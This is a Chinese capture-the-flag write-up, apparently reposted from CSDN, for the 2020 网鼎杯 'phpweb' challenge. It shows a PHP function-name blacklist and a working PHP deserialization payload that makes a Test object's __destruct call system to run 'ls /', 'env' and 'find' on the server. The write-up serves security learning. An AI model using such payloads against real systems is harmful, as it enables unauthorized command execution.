欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 房产 > 家装 > [网鼎杯 2020 朱雀组]phpweb 详细题解(反序列化绕过命令执行)

[网鼎杯 2020 朱雀组]phpweb 详细题解(反序列化绕过命令执行)

2024/11/29 21:16:03 来源:https://blog.csdn.net/weixin_73904941/article/details/144030290  浏览:    关键词:[网鼎杯 2020 朱雀组]phpweb 详细题解(反序列化绕过命令执行)

知识点:

call_user_func() 函数
反序列化魔术方法
find命令查找flag
代码审计

打开题目,弹出上面的提示,是一个警告warning,而且页面每隔几秒就会刷新一次,根据warning中的信息以及信息中的时间一直在变,可以猜测是date()函数一直在被调用

查看源代码发现一些信息,但是作用不大

 bp抓包查看一下

func=date&p=Y-m-d+h%3Ai%3As+a   那么就是调用了date()函数并回显在页面上,参数func是函数名,p是参数值

既然可以执行date函数,那么是不是也可以执行其他函数呢?

而且date()函数是不会自动输出结果的 ,既然显示了时间那么应该有echo 之类输出的操作,可以随便尝试php的函数根据输出的内容来验证是否有命令执行

抓包修改参数,用简单的小写转换函数来验证   func=strtolower&p=AB

看到回显了ab 确实可以执行函数并回显结果

所以用system()函数执行命令  func=system&p=ls    提示     Hacker...   被禁止了

把ls 改为123 还是hacker 参数不影响,说明应该是system函数被过滤了

想办法查看文件的源码,可以用查看或者读取文件的函数 例如:file_get_contents()  highlight_file()   show_source()都可以
输入   func=file_get_contents&p=index.php  成功读取了index.php文件源码

代码审计:

<?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];if ($func != null) {$func = strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}}?>

代码禁用了非常多的函数,常见的命令执行函数都被禁止了

代码中定义了一个函数gettime 和 一个类Test 先不看这两部分,先看最后的代码

接收$func 和 $p参数,把$func转换为小写,然后判断是否在列出的禁止函数数组里面,如果不在,就调用gettime()函数,接着看gettime()函数

function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}

call_user_func 是 PHP 中的一个内置函数,用于调用回调函数,call_user_func函数返回回调函数的结果。如果回调函数没有返回值,则 call_user_func 也不会有返回值

其中$func 是回调函数名,$p是传递给回调函数的参数,结果赋值给$result 如果$result类型为string,返回结果

这里不知道flag文件的名字以及路径,所以直接用file_get_contents()函数读取到flag文件的概率太低,所以解题关键是使用命令执行函数找到flag,需要绕过黑名单限制从而执行命令

观察代码发现Test类还没有用到,对于Test类,代码中没有调用的操作,作用是赋值$func 和 $p 的值并且调用gettime()函数
注意类中的__destruct()函数,如果利用unserialize()函数反序列化一个Test类,在类里的参数中写入要执行的代码和函数,此时$disable_fun不会匹配unserialize函数,就会执行gettime函数,调用call_user_func($func, $p);执行反序列化操作
 __destruct()函数会在反序列化函数执行完之后触发,再次触发gettime($this->func, $this->p)函数,这时$func和$p的值是之前类中赋值过的内容,不会被匹配,就可以绕过黑名单中命令执行函数的限制,这里没有禁止unserialize反序列化函数,刚好可以使用

<?php
class Test{public $p="ls /";public $func="system";
}
$a=new Test();
echo serialize($a);
//结果: O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

传入func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

回显了根目录下的文件,但是没有发现flag文件,查看一下环境变量env

传入  func=unserialize&p=O:4:"Test":2:{s:1:"p";s:3:"env";s:4:"func";s:6:"system";}

 发现not_flag 那么flag应该是藏在某个目录下,使用find命令查找flag

构造system("find / -name *flag*")  用find查找所有文件名包含flag的文件

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";}


发现 /tmp/flagoefiu4r93,相较于其他路径较长的文件 和 系统proc目录下的文件 更加可疑

查看该文件,得到flag

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com